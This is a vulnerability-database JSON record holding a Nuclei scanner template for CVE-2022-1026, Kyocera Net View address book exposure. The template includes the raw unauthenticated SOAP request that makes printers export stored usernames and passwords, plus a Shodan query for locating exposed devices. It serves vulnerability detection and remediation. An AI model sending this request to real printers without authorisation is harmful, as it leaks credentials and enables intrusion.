{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2022-1026/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2022-1026/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2022-1026/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2022-1026/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2022-1026/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2022-1026"},"sightings":{"href":"/api/v1/sightings/cve-2022-1026"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2022/CVE-2022-1026.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2022-1026\n\ninfo:\n  name: Kyocera Net View Address Book Exposure\n  author: DhiyaneshDK\n  severity: high\n  description: |\n    Kyocera multifunction printers running vulnerable versions of Net View unintentionally expose sensitive user information, including usernames and passwords, through an insufficiently protected address book export function.\n  impact: |\n    Unauthenticated attackers can export the address book from Kyocera printers containing sensitive user information including usernames and passwords without authentication.\n  remediation: |\n    Apply firmware updates provided by Kyocera or configure authentication for the address book export function.\n  reference:\n    - https://github.com/ac3lives/kyocera-cve-2022-1026\n    - https://www.rapid7.com/blog/post/2022/03/29/cve-2022-1026-kyocera-net-view-address-book-exposure/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N\n    cvss-score: 8.6\n    cve-id: CVE-2022-1026\n    cwe-id: CWE-522\n    epss-score: 0.14733\n    epss-percentile: 0.96524\n    cpe: cpe:2.3:a:kyocera:net_viewer:*:*:*:*:*:*:*:*\n  metadata:\n    vendor: kyocera\n    product: net_viewer\n    shodan-query: product:\"Kyocera Printer Panel\"\n    max-request: 1\n  tags: cve,cve2022,kyocera,exposure,vkev,intrusive,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /ws/km-wsdl/setting/address_book HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/soap+xml\n\n        <?xml version=\"1.0\" encoding=\"utf-8\"?><SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://www.w3.org/2003/05/soap-envelope\" xmlns:SOAP-ENC=\"http://www.w3.org/2003/05/soap-encoding\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:wsa=\"http://schemas.xmlsoap.org/ws/2004/08/addressing\" xmlns:xop=\"http://www.w3.org/2004/08/xop/include\" xmlns:ns1=\"http://www.kyoceramita.com/ws/km-wsdl/setting/address_book\"><SOAP-ENV:Header><wsa:Action SOAP-ENV:mustUnderstand=\"true\">http://www.kyoceramita.com/ws/km-wsdl/setting/address_book/create_personal_address_enumeration</wsa:Action></SOAP-ENV:Header><SOAP-ENV:Body><ns1:create_personal_address_enumerationRequest><ns1:number>25</ns1:number></ns1:create_personal_address_enumerationRequest></SOAP-ENV:Body></SOAP-ENV:Envelope>\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"SOAP-ENV:Envelope\"\n          - \"SOAP-ENV:Body\"\n        condition: and\n\n      - type: word\n        part: content_type\n        words:\n          - \"text/xml\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100f3cf94884aab7b614f70151f23f77056116ef39f69e8a361b3e364c43cbcb4ab0220523c8f08797f1843fd6345e6b7a4710421be195e1407e1e3f16bfc86b352084a:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2022-1026"}